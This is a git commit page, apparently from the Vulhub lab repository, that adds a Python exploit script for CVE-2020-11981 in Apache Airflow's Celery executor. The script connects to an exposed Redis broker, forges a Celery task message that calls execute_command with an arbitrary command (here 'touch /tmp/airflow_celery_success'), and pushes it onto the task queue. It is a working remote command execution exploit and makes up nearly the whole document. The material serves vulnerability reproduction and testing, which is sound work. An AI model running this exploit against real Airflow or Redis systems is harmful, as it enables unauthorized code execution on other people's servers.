first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
14
airflow/CVE-2020-11981/exploit_airflow_celery.py
Normal file
14
airflow/CVE-2020-11981/exploit_airflow_celery.py
Normal file
@@ -0,0 +1,14 @@
|
||||
import pickle
|
||||
import json
|
||||
import base64
|
||||
import redis
|
||||
import sys
|
||||
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
|
||||
queue_name = 'default'
|
||||
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
|
||||
task_dict = json.loads(ori_str)
|
||||
command = ['touch', '/tmp/airflow_celery_success']
|
||||
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
|
||||
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
|
||||
print(task_dict)
|
||||
r.lpush(queue_name,json.dumps(task_dict))
|
Reference in New Issue
Block a user